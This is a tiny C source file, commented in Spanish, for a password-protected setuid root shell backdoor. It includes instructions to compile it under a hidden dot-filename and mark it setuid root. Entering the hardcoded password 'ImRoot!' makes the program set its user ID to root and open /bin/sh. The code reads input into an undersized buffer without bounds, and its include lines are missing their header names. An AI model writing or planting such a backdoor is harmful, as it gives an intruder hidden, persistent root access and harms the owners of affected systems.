/* suid rootshell simple con password #gcc -o .rshellpass rshellpass.c #chmod 06711 .rshellpass $./.rshellpass ImRoot! # Nota:Con el comando strings se revelaria el password en texto plano! c0d3d by Spy]-[unt3R */ #include #include #include #define PASS "ImRoot!" int main(){ char buffer[7]; scanf("%s", &buffer); if(strcmp(buffer, PASS)==0){ setreuid(0, 0); system("/bin/sh"); } return 0; }